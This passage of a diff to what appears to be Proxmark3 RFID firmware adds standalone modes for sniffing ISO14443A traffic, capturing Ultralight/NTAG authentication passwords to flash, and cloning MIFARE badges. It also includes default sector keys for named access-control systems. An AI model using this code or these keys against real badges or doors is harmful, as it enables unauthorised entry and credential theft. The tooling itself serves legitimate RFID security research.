| (RDV4 only) | storing in flashmem - Bogito |
+----------------------------------------------------------+
| HF_14ASNIFF | 14a sniff to flashmem |
| (RDV4 only) | |
+----------------------------------------------------------+
| LF_ICEHID | LF HID collector to flashmem |
| (RDV4 only) | |
+----------------------------------------------------------+
| LF_EM4100EMUL | Simulate predefined em4100 tags only |
| | |
+----------------------------------------------------------+
| LF_EM4100RWC | Read/simulate em4100 tags & clone it |
| | to T555x tags |
+----------------------------------------------------------+
| HF_LEGIC | Read/simulate Legic Prime tags |
| | storing in flashmem |
+----------------------------------------------------------+
endef
STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_ICEHID LF_EM4100EMUL LF_EM4100RWC
STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG HF_14ASNIFF HF_LEGIC
STANDALONE_MODES_REQ_SMARTCARD :=
STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF LF_ICEHID
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),)
STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE)
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),)
STANDALONE_REQ_DEFS += -DWITH_SMARTCARD
endif
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_FLASH)),)
STANDALONE_REQ_DEFS += -DWITH_FLASH
endif
else ifneq ($(STANDALONE),)
$(error Invalid STANDALONE: $(STANDALONE). $(KNOWN_DEFINITIONS))
endif

View file

@ -0,0 +1,55 @@
# Generic standalone Mode injection of source code
SRC_STANDALONE = placeholder.c
# WITH_STANDALONE_LF_ICERUN
ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_icerun.c
endif
# WITH_STANDALONE_LF_SAMYRUN
ifneq (,$(findstring WITH_STANDALONE_LF_SAMYRUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_samyrun.c
endif
# WITH_STANDALONE_LF_PROXBRUTE
ifneq (,$(findstring WITH_STANDALONE_LF_PROXBRUTE,$(APP_CFLAGS)))
SRC_STANDALONE = lf_proxbrute.c
endif
# WITH_STANDALONE_LF_HIDBRUTE
ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS)))
SRC_STANDALONE = lf_hidbrute.c
endif
# WITH_STANDALONE_HF_YOUNG
ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_young.c
endif
# WITH_STANDALONE_HF_MATTYRUN
ifneq (,$(findstring WITH_STANDALONE_HF_MATTYRUN,$(APP_CFLAGS)))
SRC_STANDALONE = hf_mattyrun.c
endif
# WITH_STANDALONE_HF_COLIN
ifneq (,$(findstring WITH_STANDALONE_HF_COLIN,$(APP_CFLAGS)))
SRC_STANDALONE = vtsend.c hf_colin.c frozen.c nprintf.c
endif
# WITH_STANDALONE_HF_BOG
ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_bog.c
endif
# WITH_STANDALONE_HF_14ASNIFF
ifneq (,$(findstring WITH_STANDALONE_HF_14ASNIFF,$(APP_CFLAGS)))
SRC_STANDALONE = hf_14asniff.c
endif
# WITH_STANDALONE_LF_ICEHID
ifneq (,$(findstring WITH_STANDALONE_LF_ICEHID,$(APP_CFLAGS)))
SRC_STANDALONE = lf_icehid.c
endif
# WITH_STANDALONE_LF_EM4100EMUL
ifneq (,$(findstring WITH_STANDALONE_LF_EM4100EMUL,$(APP_CFLAGS)))
SRC_STANDALONE = lf_em4100emul.c
endif
# WITH_STANDALONE_LF_EM4100RWC
ifneq (,$(findstring WITH_STANDALONE_LF_EM4100RWC,$(APP_CFLAGS)))
SRC_STANDALONE = lf_em4100rwc.c
endif
# WITH_STANDALONE_HF_LEGIC
ifneq (,$(findstring WITH_STANDALONE_HF_LEGIC,$(APP_CFLAGS)))
SRC_STANDALONE = hf_legic.c
endif

View file

@ -0,0 +1,124 @@
//-----------------------------------------------------------------------------
// Copyright 2020 Michael Farrell <micolous+git@gmail.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for standalone HF/iso14a Sniff to flash
//-----------------------------------------------------------------------------
/*
* `hf_14asniff` passively sniffs ISO14a frames, and stores them in internal
* flash. It requires RDV4 hardware (for flash and battery).
*
* This module is similar to hf_bog (which only logs ULC/NTAG/ULEV1 auth).
*
* On entering stand-alone mode, this module will start sniffing ISO14a frames.
* This will be stored in the normal trace buffer (ie: in RAM -- will be lost
* at power-off).
*
* Short-pressing the button again will stop sniffing, and at _this_ point
* append trace data from RAM to a file in flash (hf_14asniff.trc) and unmount.
*
* Once the data is saved, standalone mode will exit.
*
* LEDs:
* - LED1: sniffing
* - LED2: sniffed tag command, turns off when finished sniffing reader command
* - LED3: sniffed reader command, turns off when finished sniffing tag command
* - LED4: unmounting/sync'ing flash (normally < 100ms)
*
* To retrieve trace data from flash:
*
* 1. mem spiffs dump o hf_14asniff.trc f trace.trc
* Copies trace data file from flash to your PC.
*
* 2. trace load trace.trc
* Loads trace data from a file into PC-side buffers.
*
* 3. For ISO14a: trace list 14a 1
* For MIFARE Classic: trace list mf 1
*
* Lists trace data from buffer without requesting it from PM3.
*
* This module emits debug strings during normal operation -- so try it out in
* the lab connected to PM3 client before taking it into the field.
*
* To delete the trace data from flash:
*
* Caveats / notes:
* - Trace buffer will be cleared on starting stand-alone mode. Data in flash
* will remain unless explicitly deleted.
* - This module will terminate if the trace buffer is full (and save data to
* flash).
* - Like normal sniffing mode, timestamps overflow after 5 min 16 sec.
* However, the trace buffer is sequential, so will be in the correct order.
*/
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "iso14443a.h"
#include "util.h"
#include "spiffs.h"
#include "appmain.h"
#include "dbprint.h"
#include "ticks.h"
#include "BigBuf.h"
#define HF_14ASNIFF_LOGFILE "hf_14asniff.trc"
void DownloadTraceInstructions() {
Dbprintf("");
Dbprintf("To get the trace from flash and display it:");
Dbprintf("1. mem spiffs dump o "HF_14ASNIFF_LOGFILE" f trace.trc");
Dbprintf("2. trace load trace.trc");
Dbprintf("3. trace list 14a 1");
}
void ModInfo(void) {
DbpString("hf_14asniff: standalone 'hf 14a sniff', storing in flashmem");
DownloadTraceInstructions();
}
void RunMod() {
StandAloneMode();
Dbprintf("Starting standalone mode: hf_14asniff");
rdv40_spiffs_lazy_mount();
SniffIso14443a(0);
Dbprintf("Stopped sniffing");
SpinDelay(200);
// Write stuff to spiffs logfile
uint32_t trace_len = BigBuf_get_traceLen();
if (trace_len > 0) {
Dbprintf("[!] Trace length (bytes) = %u", trace_len);
uint8_t *trace_buffer = BigBuf_get_addr();
if (!exists_in_spiffs(HF_14ASNIFF_LOGFILE)) {
rdv40_spiffs_write(
HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[!] Wrote trace to "HF_14ASNIFF_LOGFILE);
} else {
rdv40_spiffs_append(
HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[!] Appended trace to "HF_14ASNIFF_LOGFILE);
}
} else {
Dbprintf("[!] Trace buffer is empty, nothing to write!");
}
LED_D_ON();
rdv40_spiffs_lazy_unmount();
LED_D_OFF();
SpinErr(LED_A, 200, 5);
SpinDelay(100);
LEDsoff();
SpinDelay(300);
DownloadTraceInstructions();
}

View file

@ -15,11 +15,22 @@ The retrieved sniffing session can be acquired by connecting the device
to a client that supports the reconnect capability and issue 'hf 14a list'.
In order to view the grabbed authentication attempts in the flash mem,
you can simply run 'script run read_pwd_mem' or just 'mem read l 256'
you can simply run 'script run read_pwd_mem' or just 'mem dump p l 256'
from the client to view the stored quadlets.
*/
#include "hf_bog.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "iso14443a.h"
#include "protocols.h"
#include "util.h"
#include "spiffs.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "dbprint.h"
#include "ticks.h"
#include "BigBuf.h"
#include "string.h"
#define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8)
#define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8)
@ -27,35 +38,7 @@ from the client to view the stored quadlets.
// Maximum number of auth attempts per standalone session
#define MAX_PWDS_PER_SESSION 64
uint8_t FindOffsetInFlash() {
uint8_t mem[4] = { 0x00, 0x00, 0x00, 0x00 };
uint8_t eom[4] = { 0xFF, 0xFF, 0xFF, 0xFF };
uint8_t memcnt = 0;
while (memcnt < 0xFF) {
Flash_ReadData(memcnt, mem, 4);
if (memcmp(mem, eom, 4) == 0) {
return memcnt;
}
memcnt += 4;
}
return 0; // wrap-around
}
void EraseMemory() {
if (!FlashInit()) {
return;
}
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(0, 0);
if (DBGLEVEL > 1) Dbprintf("[!] Erased flash!");
FlashStop();
SpinDelay(100);
}
#define HF_BOG_LOGFILE "hf_bog.log"
// This is actually copied from SniffIso14443a
void RAMFUNC SniffAndStore(uint8_t param) {
@ -90,19 +73,20 @@ void RAMFUNC SniffAndStore(uint8_t param) {
bool ReaderIsActive = false;
// Set up the demodulator for tag -> reader responses.
DemodInit(receivedResp, receivedRespPar);
Demod14aInit(receivedResp, receivedRespPar);
// Set up the demodulator for the reader -> tag commands
UartInit(receivedCmd, receivedCmdPar);
Uart14aInit(receivedCmd, receivedCmdPar);
// Setup and start DMA.
if (!FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE)) {
if (DBGLEVEL > 1) Dbprintf("FpgaSetupSscDma failed. Exiting");
if (DBGLEVEL > 1)
Dbprintf("FpgaSetupSscDma failed. Exiting");
return;
}
tUart *uart = GetUart();
tDemod *demod = GetDemod();
tUart14a *uart = GetUart14a();
tDemod14a *demod = GetDemod14a();
// We won't start recording the frames that we acquire until we trigger;
// a good trigger condition to get started is probably when we see a
@ -134,7 +118,8 @@ void RAMFUNC SniffAndStore(uint8_t param) {
Dbprintf("[!] blew circular buffer! | datalen %u", dataLen);
break;
}
if (dataLen < 1) continue;
if (dataLen < 1)
continue;
// primary buffer was stopped( <-- we lost data!
if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
@ -159,32 +144,33 @@ void RAMFUNC SniffAndStore(uint8_t param) {
LED_C_ON();
// check - if there is a short 7bit request from reader
if ((!triggered) && (param & 0x02) && (uart->len == 1) && (uart->bitCount == 7)) triggered = true;
if ((!triggered) && (param & 0x02) && (uart->len == 1) && (uart->bitCount == 7))
triggered = true;
if (triggered) {
if ((receivedCmd) && ((receivedCmd[0] == MIFARE_ULEV1_AUTH) || (receivedCmd[0] == MIFARE_ULC_AUTH_1))) {
if (DBGLEVEL > 1) Dbprintf("PWD-AUTH KEY: 0x%02x%02x%02x%02x", receivedCmd[1], receivedCmd[2], receivedCmd[3], receivedCmd[4]);
if ((receivedCmd) &&
((receivedCmd[0] == MIFARE_ULEV1_AUTH) || (receivedCmd[0] == MIFARE_ULC_AUTH_1))) {
if (DBGLEVEL > 1)
Dbprintf("PWD-AUTH KEY: 0x%02x%02x%02x%02x", receivedCmd[1], receivedCmd[2],
receivedCmd[3], receivedCmd[4]);
// temporarily save the captured pwd in our array
memcpy(&capturedPwds[4 * auth_attempts], receivedCmd + 1, 4);
auth_attempts++;
}
if (!LogTrace(receivedCmd,
uart->len,
uart->startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
uart->endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
uart->parity,
true)) break;
if (!LogTrace(receivedCmd, uart->len, uart->startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
uart->endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, uart->parity, true))
break;
}
/* ready to receive another command. */
UartReset();
Uart14aReset();
/* reset the demod code, which might have been */
/* false-triggered by the commands from the reader. */
DemodReset();
Demod14aReset();
LED_B_OFF();
}
ReaderIsActive = (uart->state != STATE_UNSYNCD);
ReaderIsActive = (uart->state != STATE_14A_UNSYNCD);
}
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
@ -193,23 +179,21 @@ void RAMFUNC SniffAndStore(uint8_t param) {
if (ManchesterDecoding(tagdata, 0, (my_rsamples - 1) * 4)) {
LED_B_ON();
if (!LogTrace(receivedResp,
demod->len,
demod->startTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
demod->endTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
demod->parity,
false)) break;
if (!LogTrace(receivedResp, demod->len, demod->startTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
demod->endTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, demod->parity, false))
break;
if ((!triggered) && (param & 0x01)) triggered = true;
if ((!triggered) && (param & 0x01))
triggered = true;
// ready to receive another response.
DemodReset();
Demod14aReset();
// reset the Miller decoder including its (now outdated) input buffer
UartReset();
Uart14aReset();
// UartInit(receivedCmd, receivedCmdPar);
LED_C_OFF();
}
TagIsActive = (demod->state != DEMOD_UNSYNCD);
TagIsActive = (demod->state != DEMOD_14A_UNSYNCD);
}
}
@ -228,57 +212,23 @@ void RAMFUNC SniffAndStore(uint8_t param) {
SpinDelay(200);
// Write stuff to flash
// Write stuff to spiffs logfile
if (auth_attempts > 0) {
if (DBGLEVEL > 1) Dbprintf("[!] Authentication attempts = %u", auth_attempts);
if (DBGLEVEL > 1)
Dbprintf("[!] Authentication attempts = %u", auth_attempts);
// Setting the SPI Baudrate to 48MHz to avoid the bit-flip issue (https://github.com/RfidResearchGroup/proxmark3/issues/34)
FlashmemSetSpiBaudrate(48000000);
// Find the offset in flash mem to continue writing the auth attempts
uint8_t memoffset = FindOffsetInFlash();
if (DBGLEVEL > 1) Dbprintf("[!] Memory offset = %u", memoffset);
if ((memoffset + 4 * auth_attempts) > 0xFF) {
// We opt to keep the new data only
memoffset = 0;
if (DBGLEVEL > 1) Dbprintf("[!] Size of total data > 256 bytes. Discarding the old data.");
if (!exists_in_spiffs((char *)HF_BOG_LOGFILE)) {
rdv40_spiffs_write((char *)HF_BOG_LOGFILE, capturedPwds, 4 * auth_attempts, RDV40_SPIFFS_SAFETY_SAFE);
} else {
rdv40_spiffs_append((char *)HF_BOG_LOGFILE, capturedPwds, 4 * auth_attempts, RDV40_SPIFFS_SAFETY_SAFE);
}
}
// Get previous data from flash mem
uint8_t *previousdata = BigBuf_malloc(memoffset);
if (memoffset > 0) {
uint16_t readlen = Flash_ReadData(0, previousdata, memoffset);
if (DBGLEVEL > 1) Dbprintf("[!] Read %u bytes from flash mem", readlen);
}
// create new bigbuf to hold all data
size_t total_size = memoffset + 4 * auth_attempts;
uint8_t *total_data = BigBuf_malloc(total_size);
// Add the previousdata array into total_data array
memcpy(total_data, previousdata, memoffset);
// Copy bytes of capturedPwds immediately following bytes of previousdata
memcpy(total_data + memoffset, capturedPwds, 4 * auth_attempts);
// Erase first page of flash mem
EraseMemory();
// Write total data to flash mem
uint16_t writelen = Flash_WriteData(0, total_data, memoffset + 4 * auth_attempts);
if (DBGLEVEL > 1) Dbprintf("[!] Wrote %u bytes into flash mem", writelen);
// If pwd saved successfully, blink led A three times
if (writelen > 0) {
SpinErr(0, 200, 5); // blink led A
}
if (DBGLEVEL > 1)
Dbprintf("[!] Wrote %u Authentification attempts into logfile", auth_attempts);
SpinErr(LED_A, 200, 5);
SpinDelay(100);
// Reset the SPI Baudrate to the default value (24MHz)
FlashmemSetSpiBaudrate(24000000);
}
}
void ModInfo(void) {
@ -299,5 +249,5 @@ void RunMod() {
LEDsoff();
SpinDelay(300);
Dbprintf("- [ End ] -> You can take shell back ...");
Dbprintf("- [ ! ] -> use 'script run read_pwd_mem' to print passwords");
Dbprintf("- [ ! ] -> use 'script run read_pwd_mem_spiffs' to print passwords");
}

View file

@ -1,26 +0,0 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// StandAlone Mod
//-----------------------------------------------------------------------------
#ifndef __HF_BOG_H
#define __HF_BOG_H
#include "proxmark3.h"
#include "mifareutil.h"
#include "iso14443a.h"
#include "protocols.h"
#include "util.h"
#include "standalone.h" // standalone definitions
#include <stdbool.h> // for bool
#include <stdio.h>
#include <string.h>
#include "apps.h"
#include "printf.h"
#include "parity.h"
#endif /* __HF_BOG_H */

View file

@ -1,5 +1,5 @@
//-----------------------------------------------------------------------------
// Colin Brigato, 2016, 2017
// Colin Brigato, 2016, 2017, 2018, 2019
// Christian Herrmann, 2017
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
@ -8,11 +8,78 @@
//-----------------------------------------------------------------------------
// main code for HF Mifare aka ColinRun by Colin Brigato
//-----------------------------------------------------------------------------
#include "standalone.h" // standalone definitions
#include "hf_colin.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "dbprint.h"
#include "ticks.h"
#include "util.h"
#include "commonutil.h"
#include "BigBuf.h"
#include "iso14443a.h"
#include "mifareutil.h"
#include "mifaresim.h"
#include "vtsend.h"
#include "spiffs.h"
#include "frozen.h"
#define MF1KSZ 1024
#define MF1KSZSIZE 64
#define AUTHENTICATION_TIMEOUT 848
#define HFCOLIN_LASTTAG_SYMLINK "hf_colin/lasttag.bin"
#define HFCOLIN_SCHEMAS_JSON "hf_colin/schemas.json"
/* Example jsonconfig file schemas.json : (array !)
[{
"name": "UrmetCaptive",
"trigger": "0x8829da9daf76",
"keysA": [
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76"
],
"keysB": [
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76"
]
},{
"name": "Noralsy",
...
]
*/
uint8_t cjuid[10];
uint32_t cjcuid;
@ -26,40 +93,128 @@ int curlline;
// Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare
/*
void cjPrintBigArray(const char *bigar, int len, uint8_t newlines, uint8_t debug)
{
uint32_t chunksize = (PM3_CMD_DATA_SIZE / 4);
uint8_t totalchunks = len / chunksize;
uint8_t last_chunksize = len - (totalchunks * chunksize);
char chunk[chunksize + 1];
memset(chunk, 0x00, sizeof(chunk));
if (debug > 0)
{
Dbprintf("len : %d", len);
Dbprintf("chunksize : %d bytes", chunksize);
Dbprintf("totalchunks : %d", totalchunks);
Dbprintf("last_chunksize: %d", last_chunksize);
static const uint8_t is_hex[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, 0, 0, 0, 0,
0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
static inline uint64_t hex2i(const char *s) {
uint64_t val = 0;
if (s == NULL || s[0] == 0)
return 0;
if (s[1] == 'x')
s += 2;
else if (*s == 'x')
s++;
while (is_hex[(uint8_t)*s])
val = (val << 4) | (is_hex[(uint8_t) * (s++)] - 1);
return val;
}
for (uint8_t i = 0; i < totalchunks; i++)
{
memset(chunk, 0x00, sizeof(chunk));
memcpy(chunk, &bigar[i * chunksize], chunksize);
DbprintfEx(FLAG_RAWPRINT, "%s", chunk);
}
if (last_chunksize > 0)
{
memset(chunk, 0x00, sizeof(chunk));
memcpy(chunk, &bigar[totalchunks * chunksize], last_chunksize);
DbprintfEx(FLAG_RAWPRINT, "%s", chunk);
}
if (newlines > 0)
{
DbprintfEx(FLAG_NEWLINE, " ");
/*char *noralsy2test =
"{\"name\":\"noralsy2\",\"trigger\":\"0x414C41524F4E\",\"keysA\":[\"0x414C41524F4E\",\"0x414C41524F4E\","
"\"0x414C41524F4E\","
"\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\","
"\"0x414C41524F4E\",\"0x414C41524F4E\","
"\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\","
"\"0x414C41524F4E\"],\"keysB\":["
"\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\","
"\"0x424C41524F4E\",\"0x424C41524F4E\","
"\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\","
"\"0x424C41524F4E\",\"0x424C41524F4E\","
"\"0x424C41524F4E\",\"0x424C41524F4E\"]}";*/
/*char *urmetcaptive2test =
"{\"name\":\"urmetcaptive2\",\"trigger\":\"0x8829da9daf76\",\"keysA\":[\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\"],\"keysB\":["
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\"]}";*/
typedef struct MFC1KSchema {
uint8_t name[32];
uint64_t trigger;
uint64_t keysA[16];
uint64_t keysB[16];
} MFC1KSchema;
#define MAX_SCHEMAS 4
static void scan_keys(const char *str, int len, uint64_t *user_data) {
struct json_token t;
int i;
char ks[32];
for (i = 0; json_scanf_array_elem(str, len, "", i, &t) > 0; i++) {
sprintf(ks, "%.*s", t.len, t.ptr);
user_data[i] = hex2i(ks);
}
}
MFC1KSchema Schemas[MAX_SCHEMAS];
/*MFC1KSchema Noralsy = {
.name = "Noralsy",
.trigger = 0x414c41524f4e,
.keysA = {0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e,
0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e,
0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e},
.keysB = {0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e,
0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e,
0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e}};
MFC1KSchema InfiHexact = {.name = "Infineon/Hexact",
.trigger = 0x484558414354,
.keysA = {0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
0x484558414354},
.keysB = {0xa22ae129c013, 0x49fae4e3849f, 0x38fcf33072e0, 0x8ad5517b4b18, 0x509359f131b1,
0x6c78928e1317, 0xaa0720018738, 0xa6cac2886412, 0x62d0c424ed8e, 0xe64a986a5d94,
0x8fa1d601d0a2, 0x89347350bd36, 0x66d2b7dc39ef, 0x6bc1e1ae547d, 0x22729a9bd40f}};
*/
/*MFC1KSchema UrmetCaptive = {
.name = "Urmet Captive",
.trigger = 0x8829da9daf76,
.keysA = {0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76},
.keysB = {0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76}};
*/
int total_schemas = 0;
void add_schema(MFC1KSchema *p, MFC1KSchema a, int *schemas_counter) {
if (*schemas_counter < MAX_SCHEMAS) {
p[*schemas_counter] = a;
*schemas_counter += 1;
}
}
void delete_schema(MFC1KSchema *p, int *schemas_counter, int index) {
if (*schemas_counter > 0 && index < *schemas_counter && index > -1) {
int last_index = *schemas_counter - 1;
for (int i = index; i < last_index; i++) {
p[i] = p[i + 1];
}
*schemas_counter -= 1;
}
}
void cjSetCursFRight() {
vtsend_cursor_position(NULL, 98, (currfline));
currfline++;
@ -80,59 +235,72 @@ void cjTabulize() { DbprintfEx(FLAG_RAWPRINT, "\t\t\t"); }
/*
void cjPrintKey(uint64_t key, uint8_t *foundKey, uint16_t sectorNo, uint8_t type) {
char tosendkey[13];
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4], foundKey[5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4],
foundKey[5]); cjSetCursRight(); DbprintfEx(FLAG_NEWLINE, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type);
}
*/
char *ReadSchemasFromSPIFFS(char *filename) {
SpinOff(0);
int changed = rdv40_spiffs_lazy_mount();
uint32_t size = size_in_spiffs((char *)filename);
uint8_t *mem = BigBuf_malloc(size);
rdv40_spiffs_read_as_filetype((char *)filename, (uint8_t *)mem, size, RDV40_SPIFFS_SAFETY_SAFE);
if (changed) {
rdv40_spiffs_lazy_unmount();
}
SpinOff(0);
return (char *)mem;
}
void add_schemas_from_json_in_spiffs(char *filename) {
char *jsonfile = ReadSchemasFromSPIFFS((char *)filename);
int i, len = strlen(jsonfile);
struct json_token t;
for (i = 0; json_scanf_array_elem(jsonfile, len, "", i, &t) > 0; i++) {
char *tmpname;
char *tmptrigger;
MFC1KSchema tmpscheme;
json_scanf(t.ptr, t.len, "{ name:%Q, trigger:%Q, keysA:%M, keysB:%M}", &tmpname, &tmptrigger, scan_keys,
&tmpscheme.keysA, scan_keys, &tmpscheme.keysB);
memcpy(tmpscheme.name, tmpname, 32);
tmpscheme.trigger = hex2i(tmptrigger);
add_schema(Schemas, tmpscheme, &total_schemas);
DbprintfEx(FLAG_NEWLINE, "Schema loaded : %s", tmpname);
cjSetCursLeft();
}
}
void ReadLastTagFromFlash() {
SpinOff(0);
LED_A_ON();
LED_B_ON();
LED_C_ON();
LED_D_ON();
uint32_t startidx = 0;
uint16_t len = 1024;
size_t size = len;
DbprintfEx(FLAG_NEWLINE, "Button HELD ! Using LAST Known TAG for Simulation...");
cjSetCursLeft();
size_t size = len;
uint8_t *mem = BigBuf_malloc(size);
if (!FlashInit()) {
return;
}
Flash_CheckBusy(BUSY_TIMEOUT);
// this one will handle filetype (symlink or not) and resolving by itself
